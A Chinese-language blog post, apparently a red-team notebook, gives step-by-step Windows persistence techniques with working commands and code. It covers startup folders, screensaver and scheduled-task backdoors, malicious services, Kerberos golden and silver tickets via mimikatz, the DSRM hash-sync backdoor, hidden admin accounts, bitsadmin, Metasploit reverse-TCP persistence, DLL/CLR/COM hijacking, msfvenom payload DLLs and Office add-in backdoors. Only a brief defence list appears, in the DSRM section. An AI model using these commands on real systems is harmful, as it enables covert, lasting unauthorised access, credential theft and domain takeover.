特点:用户每次登录桌面都执行

win2003之前

1
2
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

win2008及之后

1
2
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

将后门文件放在启动的文件夹下面

image-20220313100340186

在开始菜单即可看到

image-20220313100404019

屏幕保护程序后门

屏幕保护是Windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。Windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。

演示:

注册表位置:HKEY_CURRENT_USER\Control Panel\Desktop

1
SCRNSAVE.EXE为默认的屏保程序,我们可将此键值设置为我们要利用的恶意程序。在本质上,.scr文件是可执行文件。ScreenSaveActive表示屏保状态,1为启动,0为关闭。ScreenSaverTimeout表示屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)。ScreenSaverIsSecure默认参数为0,标识不需要密码即可解锁。

图片

修改SCRASAVE.EXE的值为后门程序路径,等待屏保时间自动运行。

1
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "c:\666.exe" /f

图片

图片

计划任务后门

schtasks

适用于win2008及其以后系统

schtasks命令设定计划自动启动后门程序。

位于C:\Windows\tasks\XXX.job默认为空

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

SCHTASKS /parameter [arguments]

描述:
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任
务。

参数列表:
/Create 创建新计划任务。

/Delete 删除计划任务。

/Query 显示所有计划任务。

/Change 更改计划任务属性。

/Run 按需运行计划任务。

/End 中止当前正在运行的计划任务。

/ShowSid 显示与计划的任务名称相应的安全标识符。

/? 显示此帮助消息。

Examples:
SCHTASKS
SCHTASKS /?
SCHTASKS /Run /?
SCHTASKS /End /?
SCHTASKS /Create /?
SCHTASKS /Delete /?
SCHTASKS /Query /?
SCHTASKS /Change /?
SCHTASKS /ShowSid /?

实操:

1
2
3
4
5
6
7
schtasks /Create /tn Updater /tr c:\666.exe /sc minute /mo 5  #每5分钟自动执行666.exe,任务命名为Updater

schtasks /create /tn "Microsoft\Windows\clip\WindowsUpdateCheck" /tr "Scriptrunner.exe -appvscript C:\Windows\svchost.exe" /sc DAILY /st 02:00:00

下面的命令计划 MyApp 程序在计算机空闲的时候运行。它使用必需的 /i 参数指定在启动任务之前计算机必需持续空闲十分钟。

schtasks /create /tn "My App" /tr c:appsmyapp.exe /sc onidle /i 10

图片

图片

图片

通过计划任务程序查看结果

image-20220312232138691

终止计划任务

1
schtasks /end /tn Updater

at

适用于win2003-win2008

位于C:\Windows\System32\Tasks\xxx.xml默认包含大量系统任务

用法:

1
2
net time \\192.168.1.131 #查看目标机器的系统时间
at \\192.168.1.131 10:00 C:/Temp/task.exe #创建计划任务

image-20220312231535553

服务自启动后门

自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务。

演示:

1
2
3
sc create test binpath= "cmd /c start c:\666.exe" displayname= "windowUpdates"    (注意等号后面有空格)#创建服务
sc config test start= auto #设置服务为自动启动
net start test #启动服务

图片

也可以简化为

1
2
sc create test binpath= "cmd /c start c:\666.exe" displayname="windowUpdates" start=auto #创建服务
net start test #启动服务

删除恶意服务

1
sc delete "服务名称"

黄金票据

黄金票据用于拿到域控之后维持权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
klist purge//cmd中清除票据
mimikatz # privilege::debug //开启debug模式

mimikatz # lsadump::dcsync /domain:test.com /user:krbtgt exit //导出krbtgt用户Hash值和SID
whoami /user //查看sid

lsadump::lsa /patch //导出krbtgt用户Hash值和SID

net config workstation //查看域名
mimikatz # kerberos::golden /user:administrator /domain:pentest.com /sid:S-1-5-21-1790422151-2440830281-1210646243 /krbtgt:27f9378a9cd3619ec45c3ac66752a1f1 /ticket:/golden.kirbi
# kerberos::golden /user:需要伪造的域管理员用户名 /domain:域名 /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:golden.kirbi
mimikatz # kerberos::purge //清除票据缓存
mimikatz # kerberos::list //查看票据列表
mimikatz # kerberos::ptt <票据文件> //导入黄金票据
mimikatz # kerberos::tgt //查看票据
exit
dir \\dc\c$

注入票据后

image-20211225181021141

成功查看dc的d盘

image-20211225181119223

Psexec执行命令

image-20211225181446871

白银票据

用于获取指定机器的指定服务访问权限

原理:https://hackerqwq.github.io/2021/06/28/kerberos%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/#%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE-Silver-Ticket

以下是获得cifs即目标机器共享目录的访问权限

1
2
3
4
5
6
7
8
9
kerberos::purge #清除票据缓存
kerberos::list #查看票据列表
privilege::debug #提高mimikatz权限
sakurlsa::logonpasswords //获取服务账号Hash值
net config workstation //域名
lsadump::lsa /patch //域SID
hostname //获取用户名,加上域名就是FQDN了
kerberos::golden /domain:pentest.com /sid:S-l-5-21-1790422151-2440830281-1210646243 /target:JC-DC.pentest.com /rc4:9cf876262al362df5a573ab77b5338d3 /service:cifs /user:administrator /ptt
# kerberos::golden /domain:域名 /sid:域 SID /target:FQDN /rc4:server 机器的哈希 /service:可利用的服务 /user:要伪造的用户名 /ptt

20210629203353

最后再介绍以下常用的服务

1、Windows共享(CIFS)管理访问的银票
为cifs服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。
注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括
c$共享,我们能够将文件拷贝到共享文件中。

在这里插入图片描述

2、具有管理员权限的Windows计算机(HOST)白银票据
创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。
利用HOST Silver Ticket,我们可以创建一个新的计划任务。
或者通过利用HOST Silver Ticket,我们可以修改存在的计划任务。
命令:

1
2
3
4
5
6
7
klist purge
kerberos::purge
kerberos::golden /domain:test.com /sid:S-1-5-21-3298638106-3321833000-1571791979 /target:AD.test.com /service:HOST /rc4:49ad8aa69750fa735b7f85da7da9d3c0 /user:silver /ptt
schtasks /query /s AD.test.com
schtasks /create /sc minute /mo 20 /tn "Security scrīpt" /tr \\central\data\scrīpts\sec.vbs

# /sc 时间单位; /mo 每二十个时间单位运行一次; /tn 任务的名称; /tr 计划任务脚本或者软件,假如我们能到控制域控的计划任务,则我们可以直接把脚本放在我们域用户计算机上 \\central\data\scrīpts.ps1 ,这样就是访问远程脚本,但是计划任务确实在域控上执行

直接运行schtasks /query会报 错误: 无法加载列资源
这是编码的问题,直接将gbk编码(936)改为英文的编码(437)

chcp 437
3、Silver Ticket连接到以Windows管理员权限计算机上的PowerShell远程执行
为http服务和wsman服务创建Silver Ticket,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限。

在这里插入图片描述

注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell。

在这里插入图片描述

首先New-PSSession使用PowerShell创建到远程系统的会话的PowerShell cmdlet,然后Enter-PSSession打开远程shell。

4.白银票据证连接到具有管理员权限Windows计算机上的LDAP
为ldap服务创建Silver Ticket 以获得目标系统(包括Active Directory)上LDAP服务的管理权限。
这样就可以导出目标系统的hash

1
2
3
4
#导出域内所有的hash
lsadump::dcsync /domain:test.com /all /csv
#导出域内administrator账户的hash
lsadump::dcsync /domain:test.com /user:administrator /csv

后来经过测试,必须同时导入LDAPCIFS两个TGS才能访问目标系统的hash
5.白银票据证连接到具有管理员权限Windows计算机上的WMI
为HOST服务和rpcss服务创建白银票据,以使用WMI在目标系统上远程执行命令。
先确定一下票据有没有写入,然后使用WMIC执行命令

DSRM密码同步后门

DSRM介绍

目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。

域控制器的本地账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。如果DSRM密码忘了,可以使用命令行工具NTDSUtil进行更改。

适用范围:

1
2
安装了KB96-1320补丁的winserver2008
winserver2008之后的版本

每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM 账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

利用原理:

将DSRM的密码hash与域内任意普通用户的密码同步,从而使得普通用户也有域控权限

利用过程

  1. 抓取域控hash值

    (前提条件需要提高注册表的权限:注册表——编辑——权限——选择Administrator——勾选完全控制)

    域控上运行

    1
    2
    3
    privilege::debug
    token::elevate
    lsadump::sam

    image-20220730113311185

  2. 域内用户hash获取

    域控上运行

    1
    2
    privilege::debug
    lsadump::lsa /patch /name:normal

    image-20220730113547393

  3. 同步DSRM密码

    1
    2
    3
    4
    5
    NTDSUTIL//打开ndsuil
    set dsrm password//设置DSRM的密码。
    SYNC FROM DOMAIN ACCOUNT normal//normal是普通用户的用户名
    q//退出DSRM密码设置模式
    q//退出ntdsutil

    image-20220730114030325

  4. 查看是否同步成功

    1
    lsadump::lsa /patch /name:normal

    image-20220730114423270

    可以看到已经替换为普通用户hash了

  5. 设置允许DSRM账号允许远程登录

    注册表路径是HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior(系统默认是不存在的,请手动添加),其可能的值如下:

    0(默认值):只有当 DC 重启进入 DSRM 时,你才能使用 DSRM 管理员帐户。 1:只有当本地AD DS服务停止时,你才能使用DSRM管理员帐户登录。 2:无论哪一种情况,你都可以使用 DSRM 管理员帐户登录。(不推荐,因为密码策略并不会应用到 DSRM 的管理员帐户)

    我们需要修改其值为2

    1
    2
    3
    4
    //cmd修改
    reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
    //powershell方式修改
    new-itemproperty "hklm:\System\CurrentControlSet\Control\Lsa\" -name "DSRMAdminLogonBehavior" -value 2 -propertyType DWORD

    复制

    image-20220730114738747

  6. 普通用户远程登录

    普通用户机子上运行mimikatz

    1
    2
    privilege::debug
    sekurlsa::pth /domain:域名 /user:用户名 /ntlm: 4c56fc74829fff69deb6c6135c43bf71

    image-20220730120359097

    此时弹出新窗口即可获取域控权限(此处查看域控c盘失败,使用别人的图,按理说应该没问题的啊)

    img

  7. 恢复DSRM密码

    1
    2
    3
    4
    NTDSUTIL//打开ndsuil
    reset pssword on server null:在当前域控制器上恢复DSRM密码。
    q//退出DSRM密码设置模式
    q//退出ntdsutil

防御

1、定期检查注册表中用于控制DSRM登录方式的键值

HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior

确认该兼职为1,或者删除该键值

2、定期修改域中所有域控制器的DSRM账号

3、经常检查ID 为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中

参考链接

https://blog.csdn.net/qq_43645782/article/details/116944258

组策略设置脚本启动

通过gpedit.msc打开本地组策略管理器

1.首先创建一个脚本,此处为添加隐藏用户,内容如下:

1
2
3
4
@echo off
net user test$ Test123456. /add
net localgroup administrators test$ /add
exit
  • 也可以是exe可执行程序或者powershell脚本

2.打开组策略配置脚本(启动/关机),添加脚本,关机就会自动执行脚本。

图片

图片

图片

也可以通过用户配置中的**脚本(登录/注销)**来写入后门

image-20220313101103813

对应的注册表项如下

1
2
3
4
#用户登录
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Logon
#用户注销
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Logoff

bitsadmin

BITS (后台智能传送服务) 是一个 Windows 组件,它可以在前台或后台异步传输文件,为保证其他网络应用程序获得响应而调整传输速度,并在重新启动计算机重新建立网络连接之后自动恢复文件传输。

1
2
3
4
5
6
7
8
9
常用命令:
bitsadmin /create [type] DisplayName //创建一个任务
bitsadmin /cancel <Job> //删除一个任务
bitsadmin /list /allusers /verbose //列出所有任务
bitsadmin /AddFile <Job> <RemoteURL> <LocalName> //给任务test添加一个下载文件
bitsadmin /SetNotifyCmdLine <Job> <ProgramName> [ProgramParameters] //设置在任务完成传输时或任务进入状态时将运行的命令行命令。bitsadmin /Resume <Job> //激活传输队列中的新任务或挂起的任务。
bitsadmin /cancel <Job> //删除某个任务
bitsadmin /reset /allusers //删除所有任务
bitsadmin /complete <Job> //完成某个任务

思路:通过将系统进程替换成后门进程来达到建立后门的目的。

演示:

1
2
3
4
bitsadmin /create test   //创建任务test
bitsadmin /addfile test c:\windows\system32\calc.exe c:\Users\ndsec\Desktop\calc.exe
bitsadmin /SetNotifyCmdLine test cmd.exe "cmd.exe /c calc.exe"
bitsadmin /resume test

图片

图片

图片

msf persistence后门

使用persistence模块创建后门。

1
2
3
4
5
6
7
8
9
10
11
12
13
参数:

-A 自动启动匹配的exploit/multi/handler 连接到代理
-L <opt> 目标主机中要写入有效负载的位置,如果没有,将使用 %TEMP%。
-P <opt> 要使用的有效负载,默认为 windows/meterpreter/reverse_tcp。
-S 在启动时自动启动代理作为服务(具有 SYSTEM 权限)
-T <opt> 要使用的备用可执行模板
-U 用户登录时自动启动代理
-X 系统启动时自动启动代理
-h 帮助菜单
-i <opt> 每次连接尝试之间的时间间隔(以秒为单位)
-p <opt> 运行 Metasploit 的系统正在监听的端口
-r <opt> 运行 Metasploit 的系统的 IP 监听连接

执行如下命令,在目标机创建一个vbs后门,每5秒进行回连:

1
run persistence -S -U -X -i 5 -p 55555 -r 192.168.1.128

图片

图片

监听55555端口,成功上线。

图片

DLL劫持

DLL(Dynamic Link Library)文件为动态链接库文件,又称”应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。

dll加载顺序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Windows xp sp2之前:

1. 进程对应的应用程序所在目录;
2. 当前目录(Current Directory);
3. 系统目录(通过 GetSystemDirectory 获取);
4. 16位系统目录;
5. Windows目录(通过 GetWindowsDirectory 获取);
6. PATH环境变量中的各个目录;

Windows xp sp2之后:
Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):
默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1
1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:\ProgramFiles\uTorrent)
2. 系统目录(即%windir%system32);
3. 16位系统目录(即%windir%system);
4. Windows目录(即%windir%);
5. 当前目录(运行的某个文件所在目录,比如C:\Documents and Settings\Administrator\Desktop\test);
6. PATH环境变量中的各个目录;

win7以上版本:
系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从exe自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

win11的knownDLLS列表如下

image-20220122232944151

DLL劫持思路

劫持系统DLL

分析一个应用程序是否存在劫持系统DLL的漏洞,通常需要几个步骤:

  1. 启动应用程序
  2. 使用Process Monitor等类似软件查看该应用程序启动后加载的动态链接库。
  3. 从该应用程序已经加载的DLL列表中,查找在上述“KnownDLLs注册表项”中不存在的DLL。
  4. 编写从上一步获取到的DLL的劫持DLL。
  5. 将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功。

如果对以上步骤都没问题还是没有实现劫持的话,具体可能有以下情况

  • DLL不在KnownDLLs注册表中但是已经被微软做了保护,比如ntdll.dll等系统核心dll
  • 宿主进程在调用LoadLibrary函数时使用了“绝对路径”
  • 宿主进程对调用的DLL进行了校检,比如文件MD5、HASH等值
  • 宿主调用DLL时使用了SetDllDirectory函数把当前目录从DLL的搜索顺序列表中删除

劫持应用DLL

只要宿主没有对自己的DLL做校检的话就可以进行劫持替换。

Note:当我们找到了一个可以劫持的DLL的时候,用于劫持的DLL文件需要劫持原DLL文件的所有导出函数,不然无法正常执行。可以用工具辅助生成DLL,例如:AheadLib

DLL劫持操作

  1. 查找可以劫持的dll

    要求:不在known dlls中

    通过 Process Monitor 监控dll调用是一种最基础的寻找dll劫持的方式,在filter中添加Path ends with .dllResult is NAME NOT FOUND规则,并且可以加上Process Name contains xxx来针对性的找xxx的dll劫持。

    image-20220123014507540

    这里以有道云笔记为例,找到一个NETAPI32.dll(下图是劫持成功后,成功调用NETAPI32.dll的图,因此没有,正常情况是有的)

    image-20220123014605983

  2. 将dll还原成cpp源码并修改

    使用everything找到NETAPI32.dll的位置

    image-20220123014952094

    使用AheadLib导出cpp源码

    image-20220123015051117

    visual studio建立空项目-dll链接库,然后把代码复制进去

    image-20220123015130314

    在DllMain中添加代码,用MessageBox弹窗进行测试,F7生成解决方案即可

    • 可能会出现找不到pch.h的问题,此时在项目-属性-c/c++-预编译头,在这个地方将使用预编译头改为不使用预编译头即可

      image-20220123015251376

    将DLL文件复制到Process Monitor提示NAME NOT FOUND的路径下(这里是D:\有道云笔记\YoudaoNote,复制后DLL的完整路径为D:\有道云笔记\YoudaoNote\NETAPI32.dll)

    image-20220123015541418

    重新启动有道云笔记出现提示框,成功DLL劫持

    image-20220123015640822

实战中需要将调用代码修改成后门的可执行文件

将弹窗部分代码修改为如下代码

1
STARTUPINFO si = { sizeof(si) };PROCESS_INFORMATION pi;CreateProcess(TEXT("C:\\Windows\\SysWOW64\\cmd.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);

image-20220123020301225

按照上面的步骤将DLL文件放到有道云笔记中,成功运行cmd

image-20220123020251881

参考链接

  1. https://earthmanet.github.io/posts/2021/02/dll%E5%8A%AB%E6%8C%81%E5%8F%8A%E5%85%B6%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98/
  2. https://hosch3n.github.io/2021/06/29/%E5%88%A9%E7%94%A8dll%E5%8A%AB%E6%8C%81%E5%AE%9E%E7%8E%B0%E5%85%8D%E6%9D%80%E4%B8%8E%E7%BB%B4%E6%9D%83/

CLR劫持

CLR全称Common Language Runtime,中文名称为公共语言运行时。CLR是.NETFramework的主要执行引擎,作用之一是监视程序的运行。可以理解成,让系统在执行.NET程序的时候先执行一个你指定的dll文件。

1.修改注册表:HKEY_CURRENT_USER\Software\Classes\CLSID\

1
2
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /VE /T REG_SZ /D "C:\test.dll" /F
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F

图片

2.配置全局环境变量,不然只在当前cmd窗口劫持.net程序,然后直接执行powershell即可上线。

1
SETX COR_ENABLE_PROFILING 1 /MSETX COR_PROFILER {11111111-1234-1234-1234-111111111111} /M

图片

图片

快捷方式后门

创建快捷方式设置程序,设置为

1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "invoke-item 'C:\Program Files\Google\Chrome\Application\chrome.exe'; invoke-item c:\windows\system32\calc.exe"

chrome.exe为原先的程序,calc.exe为另外启动的程序,选择一个应用程序中的图标

image-20221008095438706

运行方式修改为最小化即可无声无息的运行(目标开了杀软的话可能会拦powershell.exe)

image-20221008095521357

image-20221008095724289

拓展名后门

在Windows中拓展名与打开程序的对应关系体现在注册表中

1
2
HKEY_CLASSES_ROOT # Global
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts # Local

HKEY_CLASSES_ROOT\.txt下找到.txt对应的处理注册表相关在txtfile

image-20221008093727074

HKEY_CLASSES_ROOT\txtfile\shell\open\command找到对应处理程序

image-20221008093847090

将数据部分换成"%SystemRoot%\system32\calc.EXE"打开txt文件就会弹窗

image-20221008094127808

COM劫持

COM介绍

COM(Component Object Model,组件对象模型),是由微软推出的一套接口规范,通过设定不同组件之间需要遵守的标准与协议,主要用来跨语言、跨进程之间的模块通信。通过CLSID定义应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件。

主要存在于

1
2
3
4
HKCU\Software\Classes\CLSID\{CLSID}
HKLM\Software\Classes\CLSID\{CLSID}
HKCR\CLSID\{CLSID}
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\{CLSID}

常见CLSID

1
2
3
{20D04FE0-3AEA-1069-A2D8-08002B30309D} 我的电脑
{450D8FBA-AD25-11D0-98A8-0800361B1103} 我的文档
{645FF040-5081-101B-9F08-00AA002F954E} 回收站

启动方式

1
2
3
4
5
rundll32.exe -sta {CLSID}
verclsid.exe /S /C {CLSID}
xwizard.exe RunWizard /taero /u {CLSID}
# Win+R方式
::{20D04FE0-3AEA-1069-A2D8-08002B30309D}

基本子键

  • InProcServer32:存放调用的dll
  • LocalServer32:存放调用的程序
  • ThreadingModel:存放调用的其他CLSID
  • ScriptletURL:调用远程的脚本执行

image-20221008105258018

劫持实战

根据COM调用加载过程很直观的可以看出理论上可行的3种劫持方案:

  • HKCR中有,而HKCU中没有,只需要在HKCU中注册即可劫持HKCR中的COM服务。
  • 修改掉LocalServer32InprocServer32的键值。
  • 替换掉LocalServer32InprocServer32的键值中的文件。

注意

  • 需要找HKCU下的键,因为HKLM的需要管理员权限

查找COM可利用Keys

使用Process Monitor添加以下规则

  • Operation is RegOpenKey
  • Result is NAME NOT FOUND
  • Path ends with InprocServer32
  • Exclude if path starts with HKLM

image-20221008143219841

将结果保存到CSV

image-20221008143704345

使用acCOMplice的项目,从CSV中提取可劫持的COM键

1
2
3
4
Import-Module .\COMHijackToolkit.ps1
Extract-HijackableKeysFromProcmonCSV -CSVfile .\pentestlab.CSV
#检索缺失的库、
Find-MissingLibraries

也可以直接用以下方法检索LocalServer32


1
2
3
4
$inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null }
$inproc | ForEach {$_.LocalServer32} > values.txt
$paths = gc .\values.txt
foreach ($p in $paths){$p;cmd /c dir $p > $null}

1
2
3
$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
$paths = $inproc | ForEach {$_.InprocServer32}
foreach ($p in $paths){$p;cmd /c dir $p > $null}

利用计划任务的COM

使用脚本检索用户登录后可利用的计划任务COM

1
2
3
4
Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler
#检索无需特权的可供劫持的COM
Get-ScheduledTaskComHandler -PersistenceLocations

img

查询特定的计划任务的相关信息

1
2
3
4
#直接查看文件
C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask
#命令行查看
schtasks /query /XML /TN "\Microsoft\Windows\Wininet\CacheTask"

img

在以下路径找到其指向的DLL文件

1
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

img

为了无需权限,在HKCU下创建相同的InProServer32,但是指向不同的恶意DLL

img

这里尝试替换dll,可以使用参考链接中的弹calc的dll

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(0, L"Pentestlab COM Hijacking", 0, 0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

使用VS进行编译,放入C:\temp目录下后,造成COM劫持

img

也可以使用msfvenom进行生成

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=5555 -f dll > pentestlab.dll

ScriptletURL

原理:在CLSID的子键中添加ScriptletURL进行利用

远程vps存放xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?XML version="1.0"?>
<scriptlet>

<registration
description="Pentest.Lab"
progid="Pentest.Lab"
version="1"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
remotable="true"
>
</registration>

<script language="JScript">
<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("pentestlab.exe");


]]>
</script>

</scriptlet>

通过ScriptletURL进行加载执行

img

LocalServer32

与InProserver32不同在于这里对应的是exe文件

方法还是一样的

  • 更换键值
  • 或者更换对应程序

img

有些CLSID没有激活的话需要进行激活后利用

1
[activator]::CreateInstance([type]::GetTypeFromCLSID("45EAE363-122A-445A-97B6-3DE890E786F8"))

Threat AS

在{CLSID}下还可以存在着一个TreatAS子键,使用TreatAS子键可以链接到别的{CLSID}中。更为详尽的介绍可以看官方文档

1
COM调用 => {CLSID} => TreatAs键 => 读取TreatAs默认值  => 跳转指定的{CLSID}

APT-C-06组织曾利用过这种COM劫持方法来做持久化后门。

COM劫持

攻击者在注册表 HKLM\software\classes\CLSID\ 下添加一个不存在的CLSID节点结构,例如{C5602CE6-9B79-11D3-B654-581BBAEF8DBA},并将键值设置成恶意文件的路径,然后再在家庭网络配置管理器的CLSID节点{46C166AA-3108-11D4-9348-00C04F8EEB71}下新建TreatAs项,并将键值设置成{C5602CE6-9B79-11D3-B654-581BBAEF8DBA},再重启服务,这样当系统引用家庭网络配置管理器的CLSID时就会链接到新的CLSID上,从而加载恶意文件,达到COM劫持的目的。

引用自:Darkhotel(APT-C-06)组织利用Thinmon后门框架的多起攻击活动揭秘

按照上文给的说明来使用Powershell复现一下通过TreatAs键做COM劫持(注:需要足够的权限)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#定义
$HKLM = "HKLM:\software\classes\CLSID"
$CLSID = "{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}"
$HijackCLSID = "{46C166AA-3108-11D4-9348-00C04F8EEB71}"
$DLL = "C:\tmp\calculator_x64.dll"
#新建恶意CLSID节点{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}
New-Item -Type Directory "$HKLM\$CLSID"
#将键值指向恶意文件的路径并设置DLL线程模型
New-Item -ItemType String "$HKLM\$CLSID\InprocServer32" -value $DLL
New-ItemProperty -Path "$HKLM\$CLSID\InprocServer32" -Name "ThreadingModel" -Value "Both"
#在家庭网络配置管理器下CLSID节点新建TreatAs键并将默认值指向恶意CLSID节点
New-Item -ItemType String "$HKLM\$HijackCLSID\TreatAs" -value $CLSID
#调用测试
rundll32.exe -sta $HijackCLSID
#环境恢复,删除TreatAs键和恶意CLSID节点
Remove-Item -Path "$HKLM\$CLSID" -recurse
Remove-Item -Path "$HKLM\$HijackCLSID\TreatAs" -recurse

image-20211119114327714

注册表中原有的家庭网络配置管理器的CLSID节点多了一个TreatAs键指向{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}

image-20211119114445808

{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}中的内容为

image-20211119134858899

参考链接

Office持久化

模板文件加载

对于企业而言,都喜欢使用统一的模板文件,在每次启动 Office 软件时加载模板,模板文件存储在下面的位置:

C:\Users\pentestlab\AppData\Roaming\Microsoft\Templates

image-20221008164703170

在CS中生成宏代码,插入dotm文档,保存

image-20221008164802678

如果找不到VS Basic编辑窗口,需要在功能栏右键->自定义功能区

image-20221008164930424

保存好文档之后随意打开一个文档就会触发恶意代码

image-20221008165033509

拓展程序

Office 外部插件用于扩展 Office 程序的功能。当 Office 应用程序启动时,会对存储外部插件的文件夹进行检查,以便应用程序加载它们。执行以下命令来发现 Microsoft Word 的可信位置,也可以删除外部插件。

Get-ChildItem “hkcu:\Software\Microsoft\Office\16.0\Word\Security\Trusted Locations”

image-20221008165347810

因此加载的拓展程序位置为

1
C:\Users\xxx\AppData\Roaming\Microsoft\Word\Startup

Office 的外部插件是 DLL 文件,扩展名不同,表示使用不同的应用程序,例如 .wll 代表 Word,**.xll** 代表 Excel。

Metasploit Framework 的“msfvenom”可用于创建可被使用的 DLL 文件,然后将扩展名修改为“**.wll**”(Word 插件程序的扩展名),并将文件移动到 Word 启动文件夹,每次 Word 启动时执行外部插件

利用方法

编译dll

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("start pentestlab32.exe");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

编译完成后将dll后缀修改为wll或者xll,放入指定目录即可

Office test

在注册表中创建一个注册表项,在 Office 软件启动时,会自动加载该注册表项中指定的 DLL 文件,创建命令如下:

reg add “HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf” /t REG_SZ /d C:\tmp\pentestlab.dll

img

该命令将创建以下注册表结构:

img

当 Microsoft Office 应用程序再次启动时,DLL 被执行:

img

CATALOG
  1. 1. Linux权限维持
    1. 1.1. 增加超级用户
    2. 1.2. 破解
      1. 1.2.1. john the Ripper
      2. 1.2.2. hashcat
    3. 1.3. 放置SUID Shell
    4. 1.4. Crontab后门
    5. 1.5. 服务后门
      1. 1.5.1. 写入/etc/rc.d
      2. 1.5.2. 写入/etc/rc.local
    6. 1.6. ssh 公钥免密
    7. 1.7. alias 后门
    8. 1.8. PATH后门
    9. 1.9. PAM后门
      1. 1.9.1. 本地记录账号及任意密码后门
      2. 1.9.2. dnslog外带
      3. 1.9.3. LD_PRELOAD进行动态挂载
      4. 1.9.4. 一键留后门
      5. 1.9.5. 更多用法
